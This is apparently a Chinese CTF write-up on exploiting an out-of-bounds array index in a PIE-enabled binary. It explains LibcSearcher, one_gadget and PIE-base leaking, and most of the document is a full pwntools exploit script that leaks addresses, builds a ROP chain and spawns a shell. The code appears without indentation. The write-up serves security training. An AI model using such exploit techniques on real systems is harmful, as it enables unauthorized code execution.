这题的漏洞点就在数组下标越界,造成栈上任意地址读写。
在做的时候遇到的坑点:
1.在于数组类型转换输出会造成误导:
![如图:在栈上的十六进制数会先视为char类型,对不可见字符类型转换成int类型会变成负数,导致输出的十六进制最后俩位才是栈上的数值。](https://i-blog.csdnimg.cn/blog_migrate/17d8d93edbbda32b89be3247ca2cb7a8.png)
2.对不给libc.so的题可以用libcsearch和onegadget配合得到onegadget地址,因为我直接调用system函数会出现段错误,应该是在对栈上数据进行操作覆盖了环境变量???但是用onegadget就成功getshelll。
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")
配合方法:1.泄露一个函数地址,libcsearch可以得到libc的版本,用onegadget在libc的db文件夹里找到其.so文件
2.得到onegadget得知加上libcbase
3.pie绕过:
之前没做过带pie的题目,总结一下:直接泄露出返回地址,再在Ida里找到偏移相减就是pie的基址,pie会随机化程序加载基址,例如text段,data段,因此找到的plt地址,got地址程序本身的gadget都要加上pie基址(pie随机不会改变最低三位(4KB),即只随机内存页分配,但是在同一个内存页的偏移是不变的)
附上本菜鸡的exp:
from pwn import *
from LibcSearcher import *
sh = process('./pwn')
#sh = remote('39.97.228.196',60007)
context.log_level = 'debug'
popebp=0x000000000000099b
poprdi=0x0000000000000d03
sh.recvuntil('input your name \n')
sh.sendline('a')
ret =''
s=0
i=0
#gdb.attach(sh)
#leak pie_base
for i in range(41):
sh.recvuntil('input index\n')
sh.sendline(str(0x158+i))
bc = sh.recvline()[-3:-1]
if s<6:
addr= bc
if ' ' in addr:
addr=addr.strip()
addr = addr + '0'
ret = ret + addr
else:
addr = addr[::-1]
ret = ret + addr
s=s+1
sh.recvuntil('input new value\n')
sh.sendline(str(int(bc.strip(),16)))
ret = ret[::-1]
ret = int(ret,16)
log.success("%x",ret)
pie_base = ret - 0xb11
pop_rdi = 0xd03 + pie_base
puts_plt = 0x8b0 + pie_base
puts_got = 0x202020 + pie_base
vuln = 0x950 + pie_base
sh.recvuntil('do you want continue(yes/no)? \n')
sh.sendline('yes')
i=0
def write_addr(x,addr):
j=0
st = str(hex(addr))
for i in range(6):
sh.recvuntil('input index\n')
sh.sendline(str(0x158+i+x))
sh.recvuntil('input new value\n')
L = 12-2*j
K = 14-2*j
abd = st[L:K]
sh.sendline(str(int(abd,16)))
j=j+1
log.success("pop_rdi : %x",pop_rdi)
write_addr(0,pop_rdi)
write_addr(8,puts_got)
write_addr(16,puts_plt)
write_addr(24,vuln)
for i in range(41-24):
sh.recvuntil('input index\n')
sh.sendline('0')
sh.recvuntil('input new value\n')
sh.sendline('1')
sh.recvuntil('do you want continue(yes/no)? \n')
sh.sendline('yes')
put_addr=u64(sh.recvline().strip().ljust(8,'\x00'))
log.success("put addr:%x",put_addr)
libc = LibcSearcher('puts',put_addr)
libc_base = put_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
sh.recvuntil('input your name \n')
sh.sendline('a')
one_gadget = 0x4f322+libc_base
write_addr(0,one_gadget)
write_addr(8,binsh)
write_addr(16,system_addr)
write_addr(24,vuln)
for i in range(41-24):
sh.recvuntil('input index\n')
sh.sendline(str(0+i))
bc = sh.recvline()[-3:-1]
sh.recvuntil('input new value\n')
sh.sendline(str(int(bc.strip(),16)))
sh.recvuntil('do you want continue(yes/no)? \n')
#gdb.attach(sh)
sh.sendline('no')
sh.interactive()
sh.close()